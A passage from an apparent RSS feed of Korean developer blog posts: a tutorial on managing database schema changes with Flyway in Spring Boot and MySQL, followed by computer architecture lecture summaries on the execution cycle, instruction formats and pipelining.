            <description><![CDATA[<h2 id="flyway로-db-migration형상관리-시작하기-배포-후-스키마-변경을-안전하게-다루는-법">Flyway로 DB Migration(형상관리) 시작하기: 배포 후 스키마 변경을 안전하게 다루는 법</h2>
<p>서비스를 배포하고 나면, 코드만 바뀌는 게 아니라 DB 스키마(schema)도 계속 바뀐다.
그런데 이 변화는 Git처럼 “자동으로” 관리되지 않는다. 그래서 한 번쯤은 이런 상황이 온다.</p>
<ul>
<li>엔티티(entity)를 수정했는데 운영 DB에는 반영이 안 됨</li>
<li>운영 DB를 직접 수정하다가 실수로 장애 발생</li>
<li>로컬/개발/운영 환경 DB 구조가 서로 달라져서 배포 때 터짐</li>
<li>ddl-auto=update로 편하게 하다가, 어느 순간 구조가 꼬여서 복구가 어려워짐</li>
</ul>
<p>이 글의 목표는 “Flyway 사용법을 완벽히 마스터”가 아니라,</p>
<blockquote>
<p>나중에 문제가 생겼을 때 <strong>“DB Migration / Flyway라는 해결 방향이 있었다”</strong>가 떠오르게 만드는 것이다.</p>
</blockquote>
<h3 id="1-db-migration이-정확히-뭐냐">1. DB Migration이 정확히 뭐냐?</h3>
<p><strong>DB Migration(데이터베이스 마이그레이션)</strong>은 DB 구조나 데이터 자체를 변경하는 과정이다.</p>
<ul>
<li>스키마 변경: 테이블/컬럼/인덱스 추가·수정·삭제</li>
<li>데이터 변경: 기존 데이터 보정, 기본값 채우기, 데이터 이동 등</li>
<li>버전 관리/이력 추적: 어떤 변경이 언제 적용됐는지 기록하고 재현 가능하게 만들기</li>
</ul>
<p>즉, 한 줄로 요약하면:</p>
<blockquote>
<p>DB 형상관리 = DB 변경사항을 Git처럼 “파일로” 관리하고 “버전으로” 추적하는 것</p>
</blockquote>
<h3 id="2-곧-만나게-될-문제-상황-예시">2. “곧” 만나게 될 문제 상황 (예시)</h3>
<p>이미 배포가 완료되어 데이터가 쌓이고 있는 상황을 가정하자.</p>
<pre><code>@Entity
public class SampleEntity {
    @Id
    @GeneratedValue(strategy = GenerationType.IDENTITY)
    private Long id;
    private String name;
}</code></pre><p>이 상태로 운영 중인데, 개발하다가 age 컬럼이 필요해져서 엔티티를 변경했다.</p>
<pre><code>@Entity
public class SampleEntity {
    @Id
    @GeneratedValue(strategy = GenerationType.IDENTITY)
    private Long id;
    private String name;
    private Integer age;
}</code></pre><p>이때 운영 DB 테이블에는 age 컬럼이 없으니, 저장 시점에 이런 에러가 뜬다.</p>
<pre><code>Caused by: java.sql.SQLSyntaxErrorException: Unknown column &#39;age&#39; in &#39;field list&#39;</code></pre><p>이 상황에서 흔히 하는 대응은:</p>
<ol>
<li>운영 DB에 직접 접속해서 ALTER TABLE ... 실행</li>
<li>로컬/개발/운영 각각 환경에서 수동으로 맞춰주기</li>
<li>Hibernate ddl-auto를 update로 돌려서 “알아서” 맞추기</li>
</ol>
<p>하지만 셋 다 문제가 있다.</p>
<h3 id="3-기존-방식의-한계-왜-flyway가-필요한가">3. 기존 방식의 한계 (왜 Flyway가 필요한가)</h3>
<h4 id="31-운영-db를-직접-손대는-방식">3.1 운영 DB를 직접 손대는 방식</h4>
<ul>
<li>번거롭고, 반복될수록 실수 확률이 올라간다</li>
<li>“누가 언제 뭘 바꿨는지” 이력이 남지 않는다</li>
<li>팀 협업에서 재현이 어렵다</li>
</ul>
<p>예시) 운영에서 직접 실행:</p>
<pre><code>ALTER TABLE sample_entity ADD COLUMN age integer default 0;</code></pre><h4 id="32-ddl-autocreateupdate의-문제">3.2 ddl-auto=create/update의 문제</h4>
<ul>
<li>create / create-drop: 데이터가 날아가므로 운영에서 불가</li>
<li>update: 편해 보이지만 변경 이력이 남지 않고, 복잡한 변경에서 꼬일 수 있음
(예: 테이블/컬럼 rename, 제약조건 변경 등)</li>
</ul>
<p>운영 환경에서는 일반적으로 <strong>Hibernate가 스키마를 자동으로 바꾸지 않도록</strong> 설정하는 편이 안전하다.</p>
<h3 id="4-flyway가-해결하는-방식">4. Flyway가 해결하는 방식</h3>
<p>Flyway는 DB 안에 변경 이력을 저장하는 메타데이터 테이블을 만든다.
<img src="https://velog.velcdn.com/images/eunseo_song/post/4b7ba271-dee8-48da-b2ff-1eb8ed79dcad/image.png" alt=""></p>
<ul>
<li>테이블 이름: flyway_schema_history</li>
<li>역할: “어떤 버전의 마이그레이션이 적용되었는지” 기록</li>
</ul>
<p>그리고 개발자는 DB 변경 사항을 SQL 파일로 작성해 Git으로 관리한다.</p>
<ul>
<li><p>새 변경이 생기면 새 버전 파일을 추가한다 (기존 파일 수정 X)
<img src="https://velog.velcdn.com/images/eunseo_song/post/b1eefe09-ce32-4627-b994-a9e5e2a4b6a9/image.png" alt=""></p>
</li>
<li><p>Flyway는 애플리케이션 실행 시(또는 배포 과정에서)
“아직 적용되지 않은 버전”만 골라 순서대로 적용한다.
<img src="https://velog.velcdn.com/images/eunseo_song/post/d2948e6a-06eb-448d-850d-da81b9b5b0f3/image.png" alt=""></p>
</li>
</ul>
<h3 id="5-마이그레이션-파일-규칙-naming-rule">5. 마이그레이션 파일 규칙 (Naming Rule)</h3>
<p>대표적인 버전 마이그레이션 파일 규칙:
<img src="https://velog.velcdn.com/images/eunseo_song/post/6151082e-de82-425a-900e-7fdda890eaeb/image.png" alt=""></p>
<ul>
<li>V : Version Migration 을 의미
Undo의 U, Repeatable의 R을 사용하기도 하는데 대부분 V를 사용한다</li>
<li>1 : 파일의 버전(unique)
적용되지 않는 파일 중에서 같은 버전이 존재할 경우 어떤 것을 적용할 지 몰라 에러를 뱉는다<ul>
<li>새로 적용하려는 파일은 기존의 적용된 파일의 버전보다 높아야 한다
V3가 새로 적용된 파일이라고 할 때, V2와 V4를 동시에 적용한다고 하면 어떻게 되는가?
V2는 무시가 되고 V4만 적용된다</li>
<li>이름은 버전이나 날짜를 주로 사용한다
005 / 5.2 / 1.2.3.4.5.6.7.8.9 / 205.68 / 20130115113556 (yyyymmddhhmmss) / 20213.1.15.11.35.56</li>
</ul>
</li>
<li>__ : seperator, 항상 언더바가 두개 존재한다</li>
<li>init : 파일 설명
history의 description 항목으로 들어가기 때문에 좀 자세히 적어야 한다</li>
<li>.sql : suffix</li>
</ul>
<p>버전은 정수로만 제한되지 않고 1_1_0 같은 형태도 가능하며, 버전이 작은 것부터 큰 순서로 적용된다.</p>
<h3 id="6-spring-boot--mysql--gradle-기준-적용-방법">6. Spring Boot + MySQL + Gradle 기준 적용 방법</h3>
<h4 id="61-의존성-추가-gradle">6.1 의존성 추가 (Gradle)</h4>
<p>MySQL 8.x에서 flyway-core만으로 DB를 인식 못하는 케이스가 있어 flyway-mysql을 함께 쓰는 구성이 흔하다.</p>
<pre><code>// mysql
runtimeOnly &#39;com.mysql:mysql-connector-j&#39;

// flyway
implementation &#39;org.flywaydb:flyway-core&#39;
implementation &#39;org.flywaydb:flyway-mysql&#39;</code></pre><h4 id="62-applicationyml-설정-예시">6.2 application.yml 설정 예시</h4>
<pre><code>spring:
  flyway:
    enabled: true
    baseline-on-migrate: true
    baseline-version: 0
    locations:
      - classpath:db/migration
      - classpath:db/seed</code></pre><ul>
<li>baseline-on-migrate: 기존에 운영 중인(비어 있지 않은) DB에 Flyway를 도입할 때 유용</li>
<li>locations: 마이그레이션 파일 위치 (하위 폴더까지 스캔)</li>
</ul>
<h4 id="63-hibernate-ddl-auto-권장-설정">6.3 Hibernate ddl-auto 권장 설정</h4>
<p>Flyway가 스키마 관리의 “단일 진실(Single source of truth)”이 되게 하려면, Hibernate 자동 스키마 변경은 끄는 편이 좋다.</p>
<ul>
<li>none: Hibernate가 스키마 변경 안 함</li>
<li>validate: 엔티티와 DB 스키마 일치 여부만 검사 (불일치 시 앱 부팅 단계에서 실패)</li>
</ul>
<p>운영 안정성 측면에서는 validate가 특히 유용하다. (엔티티-DB 불일치 상태로 서비스가 뜨지 않게 막음)</p>
<h3 id="7-예제로-보는-동작-방식-age-컬럼-추가">7. 예제로 보는 동작 방식 (age 컬럼 추가)</h3>
<h4 id="71-flyway-도입-시점의-초기-스키마를-파일로-만든다">7.1 Flyway 도입 시점의 초기 스키마를 파일로 만든다</h4>
<p>src/main/resources/db/migration/V1__init.sql</p>
<pre><code>drop table if exists sample_entity;

create table sample_entity(
    id   bigint auto_increment,
    name varchar(255),
    primary key (id)
);

INSERT into sample_entity (name) values (&#39;user1&#39;);
INSERT into sample_entity (name) values (&#39;user2&#39;);
INSERT into sample_entity (name) values (&#39;user3&#39;);</code></pre><p>이 파일이 “기준점”이 된다. 이후 Flyway는 이 파일 포함한 이력을 flyway_schema_history에 기록한다.</p>
<h4 id="72-스키마-변경이-생기면-새-파일로-추가한다">7.2 스키마 변경이 생기면 “새 파일”로 추가한다</h4>
<p>src/main/resources/db/migration/V2__add_age.sql</p>
<pre><code>ALTER TABLE sample_entity ADD COLUMN age integer default 0;</code></pre><p>이제 애플리케이션 실행/배포 시 Flyway가</p>
<ul>
<li>V1은 이미 적용되어 있으면 스킵</li>
<li>V2는 아직이면 적용</li>
<li>그리고 flyway_schema_history에 기록</li>
</ul>
<p>즉, 목표는 달성된다.</p>
<ol>
<li>DB 직접 접속해서 테이블 안 건드려도 신규 데이터 저장 가능</li>
<li>기존 데이터는 default 0으로 age가 채워짐</li>
<li>SQL 파일이 Git으로 관리되어 이력 추적 가능</li>
</ol>
<h3 id="8-baseline-개념-이미-운영-중인-db에-도입할-때">8. Baseline 개념 (이미 운영 중인 DB에 도입할 때)</h3>
<p>운영 DB가 이미 존재하는 상태에서 Flyway를 켜면, Flyway는 “처음부터” 마이그레이션을 적용하려고 하면서 충돌이 날 수 있다.</p>
<p>이때 <strong>Baseline</strong>을 사용하면:</p>
<blockquote>
<p>“현재 DB 상태는 이미 특정 버전까지 적용된 것으로 간주”하고
그 이후 버전부터만 적용하게 할 수 있다.</p>
</blockquote>
<p>예: baseline-version: 0이면, 현재 상태를 V0까지 적용된 것으로 보고 V1부터 적용.</p>
<h3 id="9-마이그레이션-폴더-구조-팁-migration-vs-seed-분리">9. 마이그레이션 폴더 구조 팁: Migration vs Seed 분리</h3>
<p>현업에서 자주 쓰는 운영-friendly 구조는:</p>
<ul>
<li>Migration: 모든 환경에서 공통으로 적용되는 “스키마 변경”</li>
<li>Seed: 로컬/개발에서만 필요한 “테스트/샘플 데이터”</li>
</ul>
<p>예시 구조:</p>
<pre><code>src/main/resources/db/
├── migration/
│   ├── V0__init.sql
│   ├── V1__add_xxx.sql
│   └── ...
└── seed/
    ├── local/
    └── dev/</code></pre><p>이렇게 하면 운영 환경에서는 seed를 빼고, 로컬/개발에서는 seed를 포함시키는 운영 전략을 가져가기 쉽다.</p>
<h3 id="10-자주-만나는-오류-detected-failed-migration-">10. 자주 만나는 오류: “Detected failed migration …”</h3>
<p>예시 에러:</p>
<pre><code>Validate failed:
Detected failed migration to version 1 (init)</code></pre><p>원인:</p>
<ul>
<li>어떤 버전의 마이그레이션이 실패했는데, 그 흔적이 flyway_schema_history에 남아 있는 상태</li>
</ul>
<p>대응:</p>
<ul>
<li>실패 원인을 고치고, 필요하다면 flyway_schema_history의 실패 기록을 정리해야 한다.</li>
<li>(실무에선 Flyway의 repair 개념도 함께 보지만, 기본은 “실패한 이력 때문에 재실행이 막힌다”는 점을 이해하는 게 중요)</li>
</ul>
<h3 id="11-flyway에서-꼭-기억할-운영-원칙">11. Flyway에서 꼭 기억할 운영 원칙</h3>
<blockquote>
<p>이미 적용된 마이그레이션 파일은 수정하지 않는다.
수정하면 checksum이 바뀌고 Flyway가 “오염된 파일”로 간주해 오류를 낸다.</p>
</blockquote>
<blockquote>
<p>변경이 추가되면 항상 새 버전 파일을 만든다.</p>
</blockquote>
<blockquote>
<p>flyway_schema_history와 마이그레이션 파일은 지우면 안 된다.</p>
</blockquote>
<h3 id="12-flyway-주요-개념정리">12. Flyway 주요 개념정리</h3>
<p>Flyway를 쓰면 보통 아래 기능들을 접한다.</p>
<ul>
<li>Migrate: 마이그레이션 적용</li>
<li>Info: 적용 내역 조회</li>
<li>Validate: 적용 가능 여부/무결성 검증</li>
<li>Repair: 체크섬 불일치 등 이력 정리 보조</li>
<li>Baseline: 기존 DB에서 시작점 잡기</li>
<li>Clean: DB 전부 삭제(개발용으로만)</li>
<li>Undo: 롤백(버전/에디션/설정에 따라 제약 있음)</li>
</ul>
<ol>
<li><h4 id="migrate">Migrate</h4>
<p><img src="https://velog.velcdn.com/images/eunseo_song/post/467d10cf-9c00-417c-bbea-52792964e3a1/image.png" alt="">
<img src="https://velog.velcdn.com/images/eunseo_song/post/dd821379-7fbc-4725-bf2d-f127215fd9a7/image.png" alt="">
<img src="https://velog.velcdn.com/images/eunseo_song/post/667945ce-de9f-42c8-bdf2-36655554915d/image.png" alt=""></p>
</li>
<li><h4 id="baseline">Baseline</h4>
<p>비어 있지 않은 DB에서 flyway를 적용할 때 사용하는 키워드이다.
<img src="https://velog.velcdn.com/images/eunseo_song/post/7873e503-fe47-48d2-a1b1-f5c8cd19518b/image.png" alt="">
<img src="https://velog.velcdn.com/images/eunseo_song/post/0c29849a-2571-436b-b6d4-99f0b439eb43/image.png" alt="">
<img src="https://velog.velcdn.com/images/eunseo_song/post/14e4fe96-6cac-43b7-a1f4-a68b64f9d6cd/image.png" alt=""></p>
</li>
<li><h4 id="info">Info</h4>
<p><img src="https://velog.velcdn.com/images/eunseo_song/post/82f618fa-1e13-49ee-a370-8b6056c2813e/image.png" alt=""></p>
</li>
</ol>
<ul>
<li>version의 크기에 따라서 Installed_rank 가 결정되기 때문에 항상 최근에 적용한 파일의 버전보다 높은 버전을 등록해야 한다</li>
<li>checksum은 migration file의 해시값이다
적용된 마이그레이션에서 변경이 일어난다면 checksum 값이 달라지게 되어 flyway는 파일이 오염되었다고 간주하고 오류를 뱉는다</li>
<li>데이터베이스 변경 작업 및 추가 작업을 하기 위해서는 반드시 새로운 파일에서 진행해야 한다</li>
</ul>
<h2 id="마무리">마무리</h2>
<blockquote>
<p>정리하면, Flyway는 “DB를 Git처럼 관리”하게 해준다.</p>
</blockquote>
<p>변경 사항을 SQL 파일로 남기고</p>
<p>적용된 버전을 DB에 기록하고</p>
<p>배포/실행 시점에 자동으로 최신 상태로 맞춰준다</p>
<p>서비스가 커질수록 “수동으로 운영 DB를 고치는 방식”은 사고로 이어질 확률이 높다.
Flyway 같은 마이그레이션 도구는 그 위험을 체계적으로 줄이는 선택지다.</p>
]]></description>
        </item>
        <item>
            <title><![CDATA[[컴구 완전정복] 5. Execution Cycle, Clock, and Memory]]></title>
            <link>https://velog.io/@eunseo_song/%EC%BB%B4%EA%B5%AC-%EC%99%84%EC%A0%84%EC%A0%95%EB%B3%B5-Execution-Cycle-Clock-and-Memory</link>
            <guid>https://velog.io/@eunseo_song/%EC%BB%B4%EA%B5%AC-%EC%99%84%EC%A0%84%EC%A0%95%EB%B3%B5-Execution-Cycle-Clock-and-Memory</guid>
            <pubDate>Wed, 31 Dec 2025 03:40:11 GMT</pubDate>
            <description><![CDATA[<h2 id="📘-강의자료-5-요약">📘 강의자료 5 요약</h2>
<h3 id="execution-cycle-clock-and-memory-single-cycle-processor">Execution Cycle, Clock, and Memory (Single-cycle Processor)</h3>
<p>이 강의는 <strong>instruction</strong>이 <strong>CPU</strong>에서 실행될 때의 execution cycle을 중심으로,
그 실행이 <strong>clock</strong>과 <strong>memory access</strong>에 의해 어떻게 제어되는지를 설명한다.
Single-cycle processor를 기준으로 instruction execution의 전체 흐름을 정리한다.</p>
<h2 id="1-execution-cycle과-clock">1. Execution Cycle과 Clock</h2>
<p><strong>Execution cycle</strong>은 하나의 instruction이
CPU에서 실행되기 위해 거치는 단계들의 논리적 순서이다.</p>
<p>Single-cycle processor에서는:</p>
<ul>
<li><p>하나의 instruction이 one clock cycle 안에 완료된다</p>
</li>
<li><p>모든 execution stage가 하나의 clock period에 포함된다</p>
</li>
<li><p>clock cycle time은 가장 오래 걸리는 instruction을 기준으로 결정된다</p>
</li>
</ul>
<p>즉, clock은 instruction execution의 시간적 기준(time reference) 역할을 한다.</p>
<h2 id="2-instruction-execution-stages">2. Instruction Execution Stages</h2>
<p>Instruction execution은 다음과 같은 stage로 구성된다.</p>
<h4 id="1-instruction-fetch-if">(1) Instruction Fetch (IF)</h4>
<ul>
<li><p>Instruction Memory에서 instruction을 fetch</p>
</li>
<li><p><strong>Program Counter (PC)</strong>가 가리키는 address 사용</p>
</li>
<li><p>PC는 다음 instruction address로 update됨</p>
</li>
</ul>
<h4 id="2-instruction-decode--register-fetch-id">(2) Instruction Decode / Register Fetch (ID)</h4>
<ul>
<li><p>instruction의 opcode와 field를 decode</p>
</li>
<li><p>Register File에서 source register 값을 read</p>
</li>
<li><p>immediate value가 필요한 경우 준비됨</p>
</li>
</ul>
<h4 id="3-execute-ex">(3) Execute (EX)</h4>
<ul>
<li><p>ALU를 사용해 연산 수행</p>
</li>
<li><p>arithmetic / logical operation 수행</p>
</li>
<li><p>load / store instruction의 경우 memory address 계산</p>
</li>
<li><p>branch instruction의 경우 condition evaluation 수행</p>
</li>
</ul>
<h4 id="4-memory-access-mem">(4) Memory Access (MEM)</h4>
<ul>
<li><p>Data Memory 접근이 이루어지는 stage</p>
</li>
<li><p>load instruction: memory read</p>
</li>
<li><p>store instruction: memory write</p>
</li>
<li><p>arithmetic instruction은 이 stage에서 memory를 사용하지 않음</p>
</li>
</ul>
<h4 id="5-write-back-wb">(5) Write Back (WB)</h4>
<ul>
<li>연산 결과 또는 memory에서 read한 data를 destination register에 write</li>
</ul>
<h2 id="3-memory의-역할">3. Memory의 역할</h2>
<p>Execution cycle에서 memory는 두 가지 형태로 사용된다.</p>
<ul>
<li><p><strong>Instruction Memory</strong></p>
<p>IF stage에서 instruction fetch에 사용</p>
</li>
<li><p>** Data Memory**</p>
<p>   MEM stage에서 load / store instruction에 의해 사용</p>
</li>
</ul>
<p>Single-cycle processor에서는 instruction memory와 data memory 접근이 하나의 clock cycle 안에서 모두 발생한다.</p>
<h2 id="4-single-cycle-execution의-특징과-한계">4. Single-cycle Execution의 특징과 한계</h2>
<p>Single-cycle 구조의 특징은 다음과 같다.</p>
<ul>
<li><p>모든 instruction이 동일한 execution cycle 구조를 가짐</p>
</li>
<li><p>instruction 종류에 관계없이 한 clock cycle에 완료됨</p>
</li>
<li><p>unused stage가 있어도 cycle은 그대로 소모됨</p>
</li>
</ul>
<p>이로 인해 구조는 단순하지만,</p>
<ul>
<li><p>clock cycle time이 길어질 수 있고</p>
</li>
<li><p>hardware 자원의 효율적인 사용에는 한계가 있다</p>
</li>
</ul>
<h2 id="정리">정리</h2>
<p>강의자료 5에서 다루는 핵심은 다음과 같다.</p>
<ul>
<li><p>Execution cycle은 instruction 실행의 단계적 흐름이다</p>
</li>
<li><p>Clock은 execution cycle의 시간 기준을 제공한다</p>
</li>
<li><p>Instruction memory와 data memory는 서로 다른 stage에서 사용된다</p>
</li>
<li><p>Single-cycle processor에서는 모든 execution이 한 clock cycle 안에 이루어진다</p>
</li>
<li><p>이 모델은 이후 multi-cycle과 pipelined execution을 이해하기 위한 기준이 된다</p>
</li>
</ul>
]]></description>
        </item>
        <item>
            <title><![CDATA[[컴구 완전정복] 4. Instruction Format & Addressing]]></title>
            <link>https://velog.io/@eunseo_song/%EC%BB%B4%EA%B5%AC-%EC%99%84%EC%A0%84%EC%A0%95%EB%B3%B5-4.-Instruction-Format-Addressing</link>
            <guid>https://velog.io/@eunseo_song/%EC%BB%B4%EA%B5%AC-%EC%99%84%EC%A0%84%EC%A0%95%EB%B3%B5-4.-Instruction-Format-Addressing</guid>
            <pubDate>Wed, 31 Dec 2025 03:30:11 GMT</pubDate>
            <description><![CDATA[<h2 id="📘-강의자료-4-요약">📘 강의자료 4 요약</h2>
<h3 id="instruction-format--addressing">Instruction Format &amp; Addressing</h3>
<p>이 강의는 <strong>instruction</strong>이 어떤 구성 요소로 이루어져 있는지와
각 field가 <strong>어떤 정보를 표현하는지</strong>를 다룬다.
명령어를 <strong>형식(format) 단위</strong>로 구분해 이해하는 것이 목적이다.</p>
<h2 id="1-instruction-format의-기본-개념">1. Instruction Format의 기본 개념</h2>
<p>Instruction은 binary 형태로 표현되며,
CPU가 명령어를 해석하기 위해 필요한 정보들을 포함한다.</p>
<p>instruction은 다음 요소들로 구성된다.</p>
<ul>
<li><p>Opcode: 수행할 operation 지정</p>
</li>
<li><p>Register field: source / destination register 지정</p>
</li>
<li><p>Immediate field: 상수 값 또는 offset 표현</p>
</li>
<li><p>Function field (funct): 세부 연산 구분</p>
</li>
</ul>
<p>Instruction format은
이 field들이 어떻게 배치되는지를 정의한다.</p>
<h2 id="2-instruction-format-types">2. Instruction Format Types</h2>
<p>instruction 형식</p>
<h4 id="r-type">R-type</h4>
<ul>
<li><p>register-to-register operation</p>
</li>
<li><p>arithmetic / logical instruction에 사용</p>
</li>
<li><p>모든 operand가 register</p>
</li>
</ul>
<h4 id="i-type">I-type</h4>
<ul>
<li><p>immediate value 또는 memory access 포함</p>
</li>
<li><p>load, branch instruction에 사용</p>
</li>
<li><p>immediate field 포함</p>
</li>
</ul>
<h4 id="j-type">J-type</h4>
<ul>
<li><p>jump instruction에 사용</p>
</li>
<li><p>상대적으로 큰 address 범위를 표현</p>
</li>
</ul>
<p>각 format은 instruction의 목적에 맞게 field 구성이 다르다.</p>
<h2 id="3-addressing">3. Addressing</h2>
<p>Instruction은 operand의 위치를 지정하기 위해
<strong>addressing</strong> 방식을 사용한다.</p>
<p>강의자료에서 주로 다루는 addressing 방식은 다음과 같다.</p>
<ul>
<li><p>Register addressing</p>
</li>
<li><p>Immediate addressing</p>
</li>
<li><p>Base + offset addressing</p>
</li>
</ul>
<p>Addressing 방식에 따라 operand 접근 방식과 instruction 표현이 달라진다.</p>
<h2 id="정리">정리</h2>
<p>강의자료 4에서는 다음을 다룬다.</p>
<ul>
<li><p>Instruction은 여러 field로 구성된 binary format을 가진다</p>
</li>
<li><p>Instruction format은 field 배치 방식에 따라 구분된다</p>
</li>
<li><p>R-type, I-type, J-type은 대표적인 instruction format이다</p>
</li>
<li><p>Addressing은 operand를 지정하는 방법이다</p>
</li>
</ul>
]]></description>
        </item>
        <item>
            <title><![CDATA[[컴구 완전정복] 3. Pipelining]]></title>
            <link>https://velog.io/@eunseo_song/%EC%BB%B4%EA%B5%AC-%EC%99%84%EC%A0%84%EC%A0%95%EB%B3%B5-3.-Pipelining</link>
            <guid>https://velog.io/@eunseo_song/%EC%BB%B4%EA%B5%AC-%EC%99%84%EC%A0%84%EC%A0%95%EB%B3%B5-3.-Pipelining</guid>
            <pubDate>Wed, 31 Dec 2025 03:25:35 GMT</pubDate>
            <description><![CDATA[<h2 id="📘-강의자료-3-요약">📘 강의자료 3 요약</h2>
<h3 id="pipelining">Pipelining</h3>
<p>이 강의는 Pipelining을 통해
CPU가 <strong>instruction-level parallelism (ILP)</strong>을 활용하는 방식을 설명한다.
명령어 실행을 단계별로 나누고 겹쳐 실행함으로써
throughput을 향상시키는 것이 핵심이다.</p>
<h2 id="1-pipelining의-기본-개념">1. Pipelining의 기본 개념</h2>
<p>Pipelining은 여러 instruction을
overlapped execution 방식으로 처리하는 구현 기법이다.</p>
<ul>
<li><p>하나의 instruction을 여러 stage로 분할</p>
</li>
<li><p>서로 다른 instruction이 각기 다른 stage에서 동시에 실행</p>
</li>
<li><p>단일 instruction의 latency는 줄지 않지만, 전체 throughput은 증가</p>
</li>
</ul>
<p>이 방식은 CPU 내부 자원의 활용도를 크게 높인다.</p>
<h2 id="2-pipeline-stages-risc-style">2. Pipeline Stages (RISC-style)</h2>
<p>강의자료에서는 <strong>RISC 구조</strong>를 기준으로
다음과 같은 <strong>pipeline stages</strong>를 사용한다.</p>
<ul>
<li><p>IF (Instruction Fetch)</p>
</li>
<li><p>ID / RF (Instruction Decode / Register Fetch)</p>
</li>
<li><p>EX (Execute)</p>
</li>
<li><p>MEM (Memory Access)</p>
</li>
<li><p>WB (Write Back)</p>
</li>
</ul>
<p>각 stage는 서로 다른 functional unit을 사용하며,
stage 사이에는 pipeline register가 존재한다.</p>
<h2 id="3-throughput과-cpi">3. Throughput과 CPI</h2>
<p>Pipelining의 이상적인 상태에서는:</p>
<ul>
<li><p>매 cycle마다 새로운 instruction이 pipeline에 진입</p>
</li>
<li><p>매 cycle마다 하나의 instruction이 완료</p>
</li>
<li><p><strong>Ideal CPI ≈ 1</strong></p>
</li>
</ul>
<p>이는 multi-cycle 구조와 비교했을 때
instruction 처리율이 크게 향상됨을 의미한다.</p>
<h2 id="4-pipeline-hazards">4. Pipeline Hazards</h2>
<p>Pipeline에서는 모든 instruction을 항상 겹쳐 실행할 수는 없다.
이를 방해하는 요인을 <strong>hazard</strong>라고 한다.</p>
<h4 id="1-structural-hazard">(1) Structural Hazard</h4>
<ul>
<li><p>hardware resource conflict로 인해 발생</p>
</li>
<li><p>동일한 functional unit을 동시에 사용하려는 경우</p>
</li>
<li><p>해결 방법: resource duplication 또는 stall</p>
</li>
</ul>
<h4 id="2-data-hazard">(2) Data Hazard</h4>
<ul>
<li><p>instruction 간 data dependency로 인해 발생</p>
</li>
<li><p>이전 instruction의 결과가 아직 준비되지 않은 경우</p>
</li>
</ul>
<p>대표적인 dependency:</p>
<p><strong>RAW (Read After Write)</strong></p>
<p>해결 방법:</p>
<ul>
<li><p>stall</p>
</li>
<li><p>forwarding (bypassing)</p>
</li>
</ul>
<h4 id="3-control-hazard">(3) Control Hazard</h4>
<ul>
<li><p>branch, jump와 같은 control flow instruction으로 인해 발생</p>
</li>
<li><p>다음 PC 값이 확정되지 않은 상태에서 instruction fetch가 진행됨</p>
</li>
</ul>
<p>해결 방법:</p>
<ul>
<li><p>stall</p>
</li>
<li><p>branch prediction</p>
</li>
<li><p>delayed branch</p>
</li>
</ul>
<h2 id="5-stall과-bubble">5. Stall과 Bubble</h2>
<p><strong>Stall</strong>은 pipeline 진행을 일시적으로 멈추는 동작이다.
이때 실행 의미가 없는 cycle을 <strong>bubble</strong>이라고 부른다.</p>
<ul>
<li><p>correctness는 보장되지만</p>
</li>
<li><p>performance는 감소한다</p>
</li>
</ul>
<p>따라서 stall은 가능한 한 최소화하는 것이 목표이다.</p>
<h2 id="6-forwarding-bypassing">6. Forwarding (Bypassing)</h2>
<p><strong>Forwarding</strong>은 data hazard를 줄이기 위한 hardware 기법이다.</p>
<ul>
<li><p>register write를 기다리지 않고</p>
</li>
<li><p>pipeline 내부의 intermediate result를 직접 전달
<strong>(회로를 새로 그리는 방법이다)</strong></p>
</li>
<li><p>RAW hazard의 대부분을 제거 가능</p>
</li>
</ul>
<p>단, <em><strong>모든 Load 명령어 다음에 RAW가 바로 오는 경우만</strong></em> 해결 불가능하다.</p>
<h2 id="정리">정리</h2>
<p>강의자료 3은 다음 내용을 다룬다.</p>
<ul>
<li><p>Pipelining은 instruction-level parallelism을 활용하는 핵심 기법이다</p>
</li>
<li><p>Pipeline은 여러 stage로 구성되며, throughput 향상이 목적이다</p>
</li>
<li><p>Structural, Data, Control hazard는 pipelining의 주요 제약 조건이다</p>
</li>
<li><p>Stall과 forwarding은 correctness와 performance 사이의 균형을 맞추기 위한 수단이다</p>
</li>
</ul>
]]></description>
        </item>
        <item>
            <title><![CDATA[[컴구 완전정복] 2. Instructions & Assembly Language]]></title>
            <link>https://velog.io/@eunseo_song/%EC%BB%B4%EA%B5%AC-%EC%99%84%EC%A0%84%EC%A0%95%EB%B3%B52-Instructions-Assembly-Language</link>
            <guid>https://velog.io/@eunseo_song/%EC%BB%B4%EA%B5%AC-%EC%99%84%EC%A0%84%EC%A0%95%EB%B3%B52-Instructions-Assembly-Language</guid>
            <pubDate>Wed, 31 Dec 2025 03:17:44 GMT</pubDate>
            <description><![CDATA[<h2 id="📘-강의자료-2-요약">📘 강의자료 2 요약</h2>
<h3 id="instructions--assembly-language">Instructions &amp; Assembly Language</h3>
<p>이 강의는 <strong>Instruction Set Architecture (ISA)</strong>와 Assembly language를 중심으로,
프로그램이 실제로 instruction 단위에서 어떻게 표현되고 실행되는지를 설명한다.
특히 instruction의 종류와 역할을 구분해 이해하는 것이 핵심이다.</p>
<h3 id="1-assembly-language와-instruction-level">1. Assembly Language와 Instruction Level</h3>
<p>Assembly language는 machine language를 사람이 읽을 수 있도록 표현한 low-level language이다.</p>
<ul>
<li><p>각 assembly instruction은 특정 machine instruction에 직접 대응된다</p>
</li>
<li><p>CPU가 수행하는 연산, 데이터 이동, 제어 흐름이 그대로 드러난다</p>
</li>
<li><p>high-level language 코드가 실제로 어떤 instruction sequence로 변환되는지 확인할 수 있다</p>
</li>
</ul>
<p>이를 통해 프로그램 실행을 instruction level에서 이해할 수 있다.</p>
<h3 id="2-instruction-set-architecture-isa">2. Instruction Set Architecture (ISA)</h3>
<p><strong>Instruction Set Architecture (ISA)</strong>는 software와 hardware 사이의 interface이다.</p>
<p>ISA는 다음 요소들을 정의한다.</p>
<ul>
<li><p>instruction의 종류와 의미</p>
</li>
<li><p>instruction format</p>
</li>
<li><p>register set</p>
</li>
<li><p>addressing mode</p>
</li>
<li><p>memory access 방식</p>
</li>
</ul>
<p>프로그램은 ISA 위에서 실행되며,
CPU는 내부 구현과 관계없이 ISA 규칙을 만족하면 동일한 프로그램을 실행할 수 있다.</p>
<h3 id="3-register-based-execution-model">3. Register-based Execution Model</h3>
<p>Instruction execution은 register-based로 이루어진다.</p>
<ul>
<li><p>arithmetic and logical instruction은 register를 operand로 사용한다</p>
</li>
<li><p>intermediate result는 register에 저장된다</p>
</li>
<li><p>memory는 직접 연산 대상이 되지 않는다</p>
</li>
</ul>
<p>이 구조는 instruction execution을 단순화하고,
효율적인 hardware 설계를 가능하게 한다.</p>
<h3 id="4-load--store-architecture">4. Load / Store Architecture</h3>
